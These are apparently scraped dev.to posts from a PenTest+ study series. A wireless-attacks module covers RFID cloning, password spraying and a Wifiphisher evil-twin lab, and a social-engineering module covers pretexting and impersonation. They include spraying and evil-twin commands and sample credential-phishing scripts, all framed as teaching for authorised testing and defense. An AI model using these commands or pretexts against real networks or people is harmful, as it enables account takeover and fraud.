&lt;p&gt;For LF tags, range is typically 10-20 cm. For HF tags (13.56 MHz), range can be up to a meter with high-power readers. This range is sufficient to skim a badge from someone standing next to you in an elevator or queue — a technique called "shoulder surfing without looking."&lt;/p&gt;

&lt;h3&gt;
  
  
  RFID Cloning
&lt;/h3&gt;

&lt;p&gt;After capturing an RFID tag's data, cloning copies that data to a new, writable tag. For basic access control systems that only verify the tag's UID, this completely bypasses authentication — the cloned tag is indistinguishable from the original to the reader.&lt;/p&gt;

&lt;p&gt;The Proxmark3 is the premier tool for RFID/NFC security research: it can read, analyze, clone, emulate, and brute-force a wide variety of RFID tags and protocols. The Flipper Zero, a popular multi-function security research tool, includes RFID reading and emulation capabilities for common frequencies.&lt;/p&gt;

&lt;h3&gt;
  
  
  NFC Attacks
&lt;/h3&gt;

&lt;p&gt;NFC (Near Field Communication) is a subset of HF RFID operating at 13.56 MHz with very short range (typically under 4 cm). It is used in contactless payment cards, modern hotel key cards, and smartphone NFC for payments (Apple Pay, Google Pay).&lt;/p&gt;

&lt;p&gt;NFC relay attacks use two devices to extend the range of an NFC interaction: one device reads the legitimate NFC tag (or payment card) and relays the data in real-time over a network connection to a second device that presents it to the target reader. This enables using a payment card at a POS terminal while the actual card is across the city — effectively "virtual pickpocketing" that works in real time.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defense Against RFID Attacks
&lt;/h3&gt;

&lt;p&gt;RFID-blocking wallets and passport holders prevent skimming by attenuating the electromagnetic field. Modern access control systems use cryptographic authentication (MIFARE DESFire, iCLASS SE) that requires proving knowledge of a secret key, not just presenting a UID — cloned UIDs will not work against these systems. Monitoring for multiple simultaneous reads of the same card ID can detect clone usage.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.2.16 Password Spraying
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What Is Password Spraying?
&lt;/h3&gt;

&lt;p&gt;Password spraying is a credential attack strategy that inverts the traditional brute-force approach. Traditional brute-force attacks try many passwords against a single account — quickly triggering lockout mechanisms that disable the account after N failed attempts. Password spraying tries a single common password (or very small set of passwords) against many different accounts simultaneously.&lt;/p&gt;

&lt;p&gt;The logic is statistical: if an organization has 1,000 employees and the most common password is "Summer2024!", statistically some percentage of employees will be using that password. By trying "Summer2024!" against all 1,000 accounts — one attempt per account, spread over time — the attacker stays well under lockout thresholds for any individual account while still compromising accounts whose users chose predictable passwords.&lt;/p&gt;

&lt;p&gt;Password spraying is particularly effective because the attacker avoids lockouts while still achieving a meaningful success rate. Even a 1% success rate against a 1,000-account organization means 10 compromised credentials — potentially including privileged accounts.&lt;/p&gt;

&lt;h3&gt;
  
  
  Common Password Patterns to Spray
&lt;/h3&gt;

&lt;p&gt;Effective password spraying targets passwords that are predictable and common enough that some percentage of users will use them, while meeting complexity requirements. Examples include seasonal patterns with years ("Summer2024!", "Winter2025!"), company name variations ("Companyname1!", "Company2024!"), and default patterns organizations often set for new accounts ("Welcome1!", "Password1!", "Changeme1!"). These patterns are common because users want memorable passwords that meet complexity requirements with minimal cognitive effort.&lt;/p&gt;

&lt;h3&gt;
  
  
  Password Spraying in Wireless Context
&lt;/h3&gt;

&lt;p&gt;In wireless environments, password spraying is used against captive portal authentication systems, WPA2-Enterprise networks (spraying credentials through the 802.1X authentication mechanism), web-based management interfaces for access points and wireless controllers, and cloud identity providers (Microsoft 365/Azure AD, Google Workspace) after obtaining initial wireless access.&lt;/p&gt;

&lt;h3&gt;
  
  
  Tools and Operational Considerations
&lt;/h3&gt;

&lt;p&gt;Spray is a dedicated password spraying tool: &lt;code&gt;spray.py -smb [DC_IP] -u userlist.txt -p "Summer2024!" -a&lt;/code&gt;. For Azure AD/Microsoft 365, MSOLSpray performs password spraying against Microsoft's authentication endpoints while implementing delays to avoid triggering Azure AD Smart Lockout.&lt;/p&gt;

&lt;p&gt;The critical operational consideration: always respect lockout thresholds. Before spraying, determine the organization's lockout policy from LDAP enumeration. Spray no more than (lockout_threshold - 1) attempts per account per observation window. A failed spray that locks out accounts is immediately detectable, disruptive to business operations, and reveals the attack to defenders.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.2.17 Exploit Chaining
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Concept of Exploit Chaining
&lt;/h3&gt;

&lt;p&gt;Exploit chaining (also called vulnerability chaining or attack chaining) refers to combining multiple individually lower-severity vulnerabilities to achieve a higher-severity impact than any single vulnerability would allow. Real-world breaches almost never involve a single, spectacular, critical vulnerability — they involve a carefully constructed chain of smaller findings, each enabling the next.&lt;/p&gt;

&lt;p&gt;Understanding exploit chaining is what separates a junior penetration tester (who reports isolated findings) from a senior practitioner (who demonstrates the complete attack narrative that transforms a low-severity information disclosure into a root compromise of the domain controller).&lt;/p&gt;

&lt;h3&gt;
  
  
  A Wireless Exploit Chain — Realistic Scenario
&lt;/h3&gt;

&lt;p&gt;Consider a realistic attack scenario demonstrating how wireless vulnerabilities chain together:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Link 1 — War Driving:&lt;/strong&gt; The attacker drives past the target organization and identifies wireless networks using Kismet. They discover the organization broadcasts both a corporate SSID (WPA2-Enterprise) and a guest network (WPA2-PSK). They also discover a third network matching a pattern associated with rogue APs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Link 2 — WPA2-PSK Capture and Crack:&lt;/strong&gt; The attacker captures the four-way handshake for the guest network and cracks the PSK offline using Hashcat. Guest network access is gained — but this network is isolated from the corporate environment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Link 3 — LLMNR Poisoning on Guest Network:&lt;/strong&gt; From the guest network, the attacker runs Responder. Some Windows machines on the guest network (conference room laptops brought in by guests) make LLMNR queries. NTLMv2 hashes are captured.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Link 4 — Hash Cracking:&lt;/strong&gt; One of the captured hashes cracks — revealing the credentials of a contractor who uses a simple password across corporate and personal accounts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Link 5 — WPA-Enterprise Authentication:&lt;/strong&gt; The cracked password is tried against the corporate WPA2-Enterprise network. The contractor uses the same password for their corporate wireless access. Corporate network access is obtained.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Link 6 — Internal Reconnaissance:&lt;/strong&gt; From inside the corporate network, BloodHound is run to map Active Directory. A path from the contractor account to Domain Admin is identified through an unconstrained delegation machine.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Link 7 — Domain Compromise:&lt;/strong&gt; The unconstrained delegation vulnerability is exploited to capture Domain Admin Kerberos tickets, achieving complete domain compromise.&lt;/p&gt;

&lt;p&gt;Each individual finding — weak guest Wi-Fi PSK, LLMNR poisoning, password reuse, unconstrained delegation — might be rated as Medium severity in isolation. Chained together, they achieve complete organizational compromise starting from the parking lot with zero prior credentials.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Narrative in Reporting
&lt;/h3&gt;

&lt;p&gt;When presenting exploit chains in penetration test reports, the business impact narrative is more important than any individual finding. The key is showing the complete path: "Starting from the parking lot with no credentials and no prior access, we achieved complete Domain Admin access within 4 hours through the following chain of vulnerabilities." This narrative communicates risk to non-technical stakeholders far more effectively than a list of individual findings.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defensive Countermeasures for Chained Attacks
&lt;/h3&gt;

&lt;p&gt;Defending against exploit chains requires defense-in-depth — multiple security layers such that a failure in one layer does not lead directly to catastrophic compromise. Network segmentation prevents lateral movement between the guest and corporate networks. Disabling LLMNR prevents the credential capture. Password policies and password managers prevent reuse. MFA prevents credential-only authentication. Disabling unconstrained delegation prevents the privilege escalation. Each control breaks a link in the chain — removing one link makes the entire chain fail.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.2.18 Practice — Wireless Attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Building a Complete Wireless Attack Lab
&lt;/h3&gt;

&lt;p&gt;A complete wireless attack lab for practicing Module 5.2 requires: Kali Linux VM with a supported wireless adapter (Alfa AWUS036ACH or similar) passed through to the VM, a wireless router configured with WPA2-PSK (and optionally WEP for legacy testing), and one or more client VMs or physical devices to simulate victim behavior.&lt;/p&gt;

&lt;h3&gt;
  
  
  Practice Workflow 1 — Complete WPA2 Attack
&lt;/h3&gt;

&lt;p&gt;Set up a WPA2 network on the router. Connect a client device and save the credentials. On Kali with wlan0 in monitor mode, start airodump-ng to identify the target. Capture the four-way handshake using aireplay-ng deauthentication. Convert the capture to hc22000 format using hcxpcapngtool. Attempt cracking with Hashcat using rockyou.txt and best64 rules. Document the time to crack as a function of password complexity — this viscerally demonstrates why password length matters more than complexity character requirements.&lt;/p&gt;

&lt;h3&gt;
  
  
  Practice Workflow 2 — Evil Twin with Wifiphisher
&lt;/h3&gt;

&lt;p&gt;Launch Wifiphisher targeting the previously studied network: &lt;code&gt;wifiphisher --essid [TARGET_SSID] -aI wlan0mon -jI wlan1 --handshake-capture [capture_file] -p firmware-upgrade&lt;/code&gt;. Observe that Wifiphisher automatically deauthenticates clients, broadcasts the Evil Twin, and presents the captive portal. Observe captured credentials in the Wifiphisher terminal. Analyze the traffic flow to understand what the victim's device was doing during the attack.&lt;/p&gt;

&lt;h3&gt;
  
  
  Practice Workflow 3 — Bluetooth Reconnaissance
&lt;/h3&gt;

&lt;p&gt;On Kali with a Bluetooth adapter, scan for discoverable Bluetooth devices: &lt;code&gt;hcitool scan&lt;/code&gt;. Perform more detailed discovery: &lt;code&gt;hcitool inq&lt;/code&gt;. Use Bluelog for passive Bluetooth scanning over time: &lt;code&gt;bluelog -i hci0 -o bluetooth_log.txt -t&lt;/code&gt;. Examine what device classes and names are revealed by nearby Bluetooth devices — consider the privacy implications of this information being publicly broadcast.&lt;/p&gt;

&lt;h3&gt;
  
  
  Practice Workflow 4 — Complete Documentation
&lt;/h3&gt;

&lt;p&gt;After each attack workflow, practice writing findings as they would appear in a penetration test report. For each finding, document: the vulnerability title, CVSS score and justification, technical description of what was found and how it was exploited, evidence (screenshots, captured data — sanitized appropriately), business impact statement (what an attacker could do with this access), and specific remediation steps with implementation guidance.&lt;/p&gt;

&lt;p&gt;The exercise of writing reports is as important as the technical execution — a finding that cannot be clearly communicated to a non-technical decision-maker will not be fixed.&lt;/p&gt;




&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Module 5.2 has covered the complete wireless attack landscape, from the fundamental physics of radio wave propagation that makes wireless inherently different from wired networks, through the evolution of Wi-Fi security protocols and their systematic failures, to modern attack techniques against Bluetooth, BLE, and RFID technologies.&lt;/p&gt;

&lt;p&gt;The conceptual thread running through every section is the same: wireless attacks succeed by exploiting the gap between what a technology was designed to do and the adversarial reality in which it operates. WEP was designed to provide security but its cryptographic implementation was fatally flawed. Probe requests were designed for convenience but broadcast private network history to anyone listening. BLE advertising was designed to make devices discoverable but simultaneously makes their communications observable. RFID was designed for frictionless identification but the "frictionless" part means no verification of who is doing the reading.&lt;/p&gt;

&lt;p&gt;Exploit chaining ties the entire module together by showing that individual wireless vulnerabilities rarely exist in isolation. The parking lot access, the WPS attack, the KARMA credential capture, the NTLM hash from WPA-Enterprise, the password spray — each is a link. A single strong link removed breaks the chain. Defense-in-depth means ensuring that breaking any single link is not sufficient to compromise the objective.&lt;/p&gt;

&lt;p&gt;The key professional takeaway: wireless security assessment requires constantly asking "what is broadcasting, what is it saying, and who is listening?" The air is a shared medium. Anything transmitted in it is transmitted to everyone within range. Security controls must account for this fundamental reality rather than assuming the radio frequency boundary respects the organization's property lines.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;&lt;em&gt;— End of Module 5, Section 5.2 —&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>learning</category>
    </item>
    <item>
      <title>Module 4: Social Engineering Attacks</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Tue, 04 Aug 2026 07:10:29 +0000</pubDate>
      <link>https://dev.to/rencberakman/module-4-social-engineering-attacks-n06</link>
      <guid>https://dev.to/rencberakman/module-4-social-engineering-attacks-n06</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;CompTIA PenTest+ / Ethical Hacking Certification Series&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Professional Reference Guide — GitHub Edition&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Module 4 — Sections 4.0 through 4.2&lt;/em&gt;&lt;br&gt;
&lt;em&gt;The human element is not the weakest link in security. It IS the security — and it can be broken.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;4.0 Introduction — Why Social Engineering Defeats Every Technical Control&lt;/li&gt;
&lt;li&gt;
4.1 Pretexting for an Approach and Impersonation

&lt;ul&gt;
&lt;li&gt;4.1.1 Overview — The Architecture of Deception&lt;/li&gt;
&lt;li&gt;4.1.2 How Pretexts Are Built — The Professional Methodology&lt;/li&gt;
&lt;li&gt;4.1.3 Impersonation Archetypes and Why Each Works&lt;/li&gt;
&lt;li&gt;4.1.4 The Human Brain Under Attack — Cognitive Science of Social Engineering&lt;/li&gt;
&lt;li&gt;4.1.5 Cialdini's Six Principles — The Psychological Engine of Every Social Engineering Attack&lt;/li&gt;
&lt;li&gt;4.1.6 Kevin Mitnick — The Art of Deception in Practice&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
4.2 Social Engineering Attacks

&lt;ul&gt;
&lt;li&gt;4.2.1 Overview — The Attack Surface Is Every Human Being&lt;/li&gt;
&lt;li&gt;4.2.2 Email Phishing — The Most Scalable Attack in Existence&lt;/li&gt;
&lt;li&gt;4.2.3 Vishing — Voice Phishing and the Power of Real-Time Pressure&lt;/li&gt;
&lt;li&gt;4.2.4 SMS Phishing (Smishing) — The Mobile Attack Surface&lt;/li&gt;
&lt;li&gt;4.2.5 USB Drop Attacks — Physical Media as a Cyberweapon&lt;/li&gt;
&lt;li&gt;4.2.6 Watering Hole Attacks — Poisoning the Trusted Source&lt;/li&gt;
&lt;li&gt;4.2.7 The Pivot Attack — Chaining Social Engineering into Network Access&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  4.0 Introduction — Why Social Engineering Defeats Every Technical Control
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Fundamental Truth About Security
&lt;/h3&gt;

&lt;p&gt;Organizations spend enormous resources on technology. Firewalls, endpoint detection and response platforms, multi-factor authentication systems, security information and event management (SIEM) tools, web application firewalls, encrypted communications, zero-trust network architecture — the list of technical security investments continues to grow year after year, and collectively these systems are capable of detecting and blocking an extraordinary range of technical attacks.&lt;/p&gt;

&lt;p&gt;And yet, according to the Verizon 2024 Data Breach Investigations Report, 68% of breaches involve a non-malicious human element — an employee who was deceived, manipulated, or tricked into providing access that no firewall could have stopped. The FBI's Internet Crime Complaint Center received over 300,000 phishing complaints in 2024 alone, with estimated losses exceeding $3 billion. MGM Resorts lost approximately $100 million in 2023 when attackers made a ten-minute phone call to an IT help desk. Caesars Entertainment paid approximately $15 million in ransom the same year after attackers used an almost identical technique.&lt;/p&gt;

&lt;p&gt;The reason is simple and profound: &lt;strong&gt;every technical security control ultimately depends on a human being to configure it correctly, to respond to its alerts, to authorize exceptions, to reset credentials, and to make judgment calls about edge cases.&lt;/strong&gt; An attacker who can control the human makes all the technology irrelevant.&lt;/p&gt;

&lt;p&gt;Kevin Mitnick — the most famous hacker of the 20th century, who became the most sought-after security consultant of the 21st — said it clearly: it is easier to deceive someone into giving you their password than to crack it technically. And he was right. His career was proof of it. For years, Mitnick penetrated some of the most technically sophisticated organizations in the world — not by exploiting software vulnerabilities, but by calling people on the phone, building rapport, crafting believable stories, and asking for what he needed.&lt;/p&gt;

&lt;h3&gt;
  
  
  What This Module Teaches
&lt;/h3&gt;

&lt;p&gt;Module 4 covers social engineering attacks from two perspectives: understanding them as an attacker who executes them (for authorized penetration testing and red team operations) and understanding them as a defender who must design defenses against them.&lt;/p&gt;

&lt;p&gt;This module is one of the most immediately applicable in the entire certification curriculum. The skills and knowledge here transfer directly to:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Penetration testing engagements&lt;/strong&gt; — many clients specifically request social engineering tests (phishing campaigns, vishing calls, physical access attempts) as part of comprehensive security assessments. Understanding how to design and execute these professionally, legally, and ethically is a core competency.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Red team operations&lt;/strong&gt; — advanced adversary simulation engagements almost always include a social engineering component, because the most sophisticated real-world attackers (nation-state actors, organized crime groups) consistently use social engineering as their primary initial access vector.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security awareness program design&lt;/strong&gt; — defenders who deeply understand how social engineering attacks work design better training programs, better policies, and better detection mechanisms than those who only know the abstract concept.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Incident response&lt;/strong&gt; — when a breach occurs, identifying that it was initiated through social engineering determines the investigation approach. Understanding attack patterns helps responders trace the full chain of events.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Statistics That Make Social Engineering Unavoidable to Study
&lt;/h3&gt;

&lt;p&gt;The numbers are not improving despite decades of awareness campaigns. Proofpoint's 2024 State of the Phish report found that over 70% of organizations experienced phishing attacks that resulted in harm. AI-powered tools are now enabling attackers to create highly personalized phishing campaigns at scale — where previously a targeted attack required hours of research, automated OSINT tools and large language models can generate highly convincing, context-specific phishing emails in seconds.&lt;/p&gt;

&lt;p&gt;The median time between a phishing email landing and a user clicking is 21 seconds, according to Verizon's 2025 DBIR. Twenty-one seconds of careful reasoning is all that stands between a successful attack and a failed one — and skilled social engineers design their attacks specifically to compress that 21 seconds to zero.&lt;/p&gt;

&lt;p&gt;Understanding why attacks work at this level is the beginning of being able to either execute them professionally or defend against them meaningfully.&lt;/p&gt;




&lt;h2&gt;
  
  
  4.1 Pretexting for an Approach and Impersonation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1.1 Overview — The Architecture of Deception
&lt;/h3&gt;

&lt;p&gt;A pretext is a fabricated scenario — a constructed reality — that provides the social engineer with a believable reason to be asking for whatever they need. It is the foundation upon which every successful social engineering attack is built.&lt;/p&gt;

&lt;p&gt;Think about the difference between these two approaches to obtaining someone's network credentials:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Approach 1 (No pretext):&lt;/strong&gt; "Hi, can you give me your username and password?"&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Approach 2 (Pretext):&lt;/strong&gt; "Hi, this is Marcus from the IT security team. I'm working on an urgent security incident affecting the finance department — we're seeing unauthorized login attempts and I need to verify which accounts are currently active and confirm they have not been compromised. This is time-sensitive and my supervisor needs a report in the next fifteen minutes. Can you confirm your username so I can check the activity logs? And I'll need you to confirm your current password as well so I can verify the hash matches our backup records."&lt;/p&gt;

&lt;p&gt;The second approach asks for exactly the same information. But it provides a framework — a pretext — that transforms the request from obviously suspicious into apparently reasonable. The request now has a context (security incident), an authority (IT security team), a justification (verify unauthorized activity), a time pressure (fifteen minutes), and a plausible mechanism (checking activity logs, verifying hash).&lt;/p&gt;

&lt;p&gt;This is the essence of pretexting: &lt;strong&gt;constructing a reality in which your request makes sense.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The sophistication of a pretext is not measured by its complexity. Some of the most effective pretexts are remarkably simple. Mitnick regularly succeeded with pretexts as basic as "I'm from the helpdesk and we're updating our records." The measure of a pretext's effectiveness is how well it answers the internal questions a target unconsciously asks when they receive a suspicious request:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;"Who is this person?"&lt;/li&gt;
&lt;li&gt;"Why do they need this?"&lt;/li&gt;
&lt;li&gt;"Do they have legitimate authority to ask?"&lt;/li&gt;
&lt;li&gt;"Is it safe for me to comply?"&lt;/li&gt;
&lt;li&gt;"What happens if I don't help?"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A well-constructed pretext answers all five questions in ways that push the target toward compliance.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.1.2 How Pretexts Are Built — The Professional Methodology
&lt;/h3&gt;

&lt;p&gt;Building an effective pretext is not guesswork. It follows a systematic process that professional social engineers and red team operators use consistently.&lt;/p&gt;

&lt;h4&gt;
  
  
  Phase 1: Target Research (OSINT Foundation)
&lt;/h4&gt;

&lt;p&gt;Before a single word of the pretext is written, extensive research is conducted on the target — both the organization and the specific individuals who will be contacted. This is where everything learned in Module 3 (passive reconnaissance, OSINT gathering) feeds directly into Module 4.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Organizational research establishes:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The organization's structure — which departments exist, what their relationships are, and how they typically interact. Knowing that the IT department is separate from IT Security, which reports to the CISO, which reports to the CTO, enables highly precise impersonation that references the correct chain of command.&lt;/p&gt;

&lt;p&gt;The technology stack — from LinkedIn job listings, job descriptions, press releases, and technical blog posts, the attacker learns which specific systems are in use. Referencing "your ServiceNow instance" or "the Okta tenant" in a pretext is far more convincing than generic references to "your IT systems."&lt;/p&gt;

&lt;p&gt;Internal terminology and culture — every organization has specific jargon, internal names for systems and processes, and cultural norms around communication. Incorporating these makes a pretext feel deeply familiar rather than generic.&lt;/p&gt;

&lt;p&gt;Recent organizational events — mergers, acquisitions, new product launches, leadership changes, office relocations, and regulatory audits all create plausible contexts for unusual requests. "We're in the middle of the acquisition integration and I need to verify your account is in the correct directory" is a context that employees at an organization undergoing M&amp;amp;A activity will find entirely plausible.&lt;/p&gt;

&lt;p&gt;Vendor relationships — knowing that an organization uses Cisco for networking, Palo Alto for firewalls, and ServiceNow for IT service management allows impersonation of vendor support staff with technical precision. "Hi, I'm calling from Cisco TAC regarding your open ticket number SR-3-19402827" — even if the ticket number is fabricated, the vendor name, the specific support organization (TAC stands for Technical Assistance Center), and the ticket format all reinforce legitimacy.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Individual research establishes:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The target's name, role, and responsibilities. The more specifically you understand what someone does, the more precisely you can tailor a pretext to their world.&lt;/p&gt;

&lt;p&gt;Their reporting structure — knowing their manager's name allows "I'm calling on behalf of [Manager Name]" or "your manager Sarah asked me to follow up with you directly."&lt;/p&gt;

&lt;p&gt;Their technical expertise level — a pretext for a security engineer must be more technically precise than a pretext for an executive assistant. Using technical language above a non-technical target's level causes confusion; using it below a technical target's level destroys credibility.&lt;/p&gt;

&lt;p&gt;Personal information visible through social media — conferences they attended, projects they are working on, certifications they recently achieved. "I saw your presentation at RSA last month — great work on the zero-trust implementation. That's actually why I wanted to talk to you..." creates immediate rapport and makes the contact feel purposeful rather than random.&lt;/p&gt;

&lt;h4&gt;
  
  
  Phase 2: Pretext Design
&lt;/h4&gt;

&lt;p&gt;With research complete, the pretext is designed around specific elements:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The persona:&lt;/strong&gt; Who are you claiming to be? The persona must be plausible within the organizational context you have researched. A new vendor account manager. An auditor from the compliance team. A technician from corporate IT. A help desk analyst from a third-party managed services provider. Each persona has distinct characteristics — communication style, level of technical knowledge, access to specific information, and reason for contacting this particular person.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The scenario:&lt;/strong&gt; What is happening that makes this contact necessary? The scenario is the story. It explains why this contact is occurring now, what the stakes are, and what action the target needs to take. Strong scenarios have specificity (referencing real systems, real events, real organizational details), urgency (something needs to happen soon), and logical coherence (the request makes sense given the scenario).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The ask:&lt;/strong&gt; What are you requesting? The ask should be the minimum necessary to achieve the objective — and ideally framed so that the target feels they are helping rather than being exploited. "I need your password" is an ask. "Can you confirm your username so I can pull up your account?" is a softer ask that might be sufficient if the attacker has other means of obtaining the password.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The escape hatch:&lt;/strong&gt; What happens if the target becomes suspicious or verifies? Every well-designed pretext has a graceful exit. "No problem — I completely understand your caution, that's exactly the kind of security awareness we're trying to encourage. I'll contact you through the official ticketing system." This response accomplishes two things: it avoids detection, and it reinforces that the contact was legitimate (because fraudsters don't encourage security verification).&lt;/p&gt;

&lt;h4&gt;
  
  
  Phase 3: Persona Establishment
&lt;/h4&gt;

&lt;p&gt;For sophisticated long-running attacks, the persona is established before the actual attack conversation occurs. This might involve:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Email trail creation:&lt;/strong&gt; Setting up a convincing email domain (targetco-support.com instead of targetco.com) and sending a plausible first contact email that establishes the relationship before a follow-up call.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;LinkedIn profile creation:&lt;/strong&gt; A fake LinkedIn profile for the persona, established weeks or months before the attack, with connections, work history, and a profile photo (sourced from a less-indexed corner of the internet or AI-generated).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phone number spoofing:&lt;/strong&gt; Using caller ID spoofing to make calls appear to come from internal corporate numbers or legitimate vendor numbers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Waiting for the right moment:&lt;/strong&gt; Pretexts that reference real organizational events (a known audit, a recently announced acquisition, a recent cybersecurity news story that affected the industry) are far more convincing. Experienced social engineers monitor organizational news and time their attacks around relevant events.&lt;/p&gt;

&lt;h4&gt;
  
  
  Phase 4: Execution and Adaptation
&lt;/h4&gt;

&lt;p&gt;A pretext is not a script — it is a framework. Real-time adaptation is essential because targets respond unpredictably. The social engineer must be able to:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Handle skeptical questions:&lt;/strong&gt; "Can I get your employee ID?" "What department did you say you were in?" "Let me call the helpdesk to verify." Each of these challenges requires a prepared, calm, confident response that resolves the concern without breaking character.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Read and exploit emotional states:&lt;/strong&gt; Is the target busy and wanting to end the call quickly? Rushed people are more compliant when given a fast, simple path to resolution. Is the target friendly and talkative? Build more rapport before the ask. Is the target anxious about the scenario? Amplify the urgency slightly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Know when to stop:&lt;/strong&gt; An experienced social engineer recognizes when a target is becoming too suspicious and disengages cleanly before the attack is detected and reported.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.1.3 Impersonation Archetypes and Why Each Works
&lt;/h3&gt;

&lt;p&gt;Different impersonation targets create different psychological dynamics. The most effective impersonation targets are chosen because they create specific emotional responses in the target that override critical thinking.&lt;/p&gt;

&lt;h4&gt;
  
  
  IT Help Desk / IT Support
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Why it works:&lt;/strong&gt; Help desk staff exist specifically to solve problems for employees. Their entire professional function is to assist — and employees are conditioned to cooperate with help desk requests because non-cooperation means their IT problems don't get solved. This creates a deeply ingrained compliance reflex.&lt;/p&gt;

&lt;p&gt;Help desk impersonation also benefits from the expectation that help desk staff will ask for account information, system details, and sometimes credential verification (even though legitimate help desks should not ask for passwords, many employees believe they do and have been trained to provide this information).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The MGM Resorts 2023 breach&lt;/strong&gt; is the definitive modern example. The threat group Scattered Spider identified an MGM employee through LinkedIn. They gathered enough personal information about that employee to convincingly impersonate them in a call to MGM's IT help desk. The call lasted approximately ten minutes. At the end of it, the help desk had reset the credentials of the impersonated employee — giving the attackers access to internal systems. That access led to an estimated $100 million in losses from ransomware deployment and operational disruption.&lt;/p&gt;

&lt;h4&gt;
  
  
  Senior Executives (CEO, CFO, CISO, CTO)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Why it works:&lt;/strong&gt; Authority is one of the most powerful psychological forces in human social behavior. Decades of research in organizational psychology confirm that people comply with requests from perceived authority figures at dramatically higher rates than requests from peers — even when the requests are unusual or the authority cannot be immediately verified.&lt;/p&gt;

&lt;p&gt;An email appearing to come from the CEO requesting an urgent wire transfer, or a call claiming to be from the CISO demanding immediate password reset, triggers a cognitive response that bypasses normal verification behavior. The implicit threat of disobeying a senior leader creates compliance even in employees who would normally follow security protocols.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Business Email Compromise (BEC)&lt;/strong&gt; is the most financially devastating application of this archetype. The FBI estimates that BEC attacks caused over $2.9 billion in losses in 2023. The most common variant is the executive impersonation wire transfer fraud: a finance employee receives an email appearing to come from the CEO or CFO requesting an urgent wire transfer to a "new vendor" or for an "acquisition-related payment." The email uses familiar language, references plausible context, and emphasizes urgency and confidentiality.&lt;/p&gt;

&lt;h4&gt;
  
  
  Auditors and Compliance Officers
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Why it works:&lt;/strong&gt; The word "audit" creates a very specific emotional response in most employees: anxiety and a desire to prove compliance. Auditors have implied authority — they are not your boss, but they have the authority to create problems for you if you don't cooperate. Employees typically want audits to go well, which means they want to appear helpful and compliant.&lt;/p&gt;

&lt;p&gt;An attacker claiming to be from internal compliance, an external audit firm, or a regulatory body (GDPR auditors, PCI compliance assessors, HIPAA inspectors) can request sensitive system information, network diagrams, user lists, and access credentials under the guise of audit verification — and employees will often provide these without question.&lt;/p&gt;

&lt;h4&gt;
  
  
  Vendors and Third Parties
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Why it works:&lt;/strong&gt; Modern organizations use dozens or hundreds of third-party services and vendors. Employees regularly receive calls and emails from vendor representatives — for support, renewals, product updates, and account management. This constant legitimate vendor contact creates a background expectation that makes vendor impersonation difficult to distinguish from genuine contact.&lt;/p&gt;

&lt;p&gt;Impersonating a specific vendor that the target organization uses — Cisco, Microsoft, Salesforce, their specific cloud provider, their specific security tool vendor — is particularly effective because specificity creates credibility. "I'm calling from your Palo Alto Networks account team about your Panorama management license renewal" sounds legitimate in a way that "I'm calling from a tech company" does not.&lt;/p&gt;

&lt;h4&gt;
  
  
  New Employees
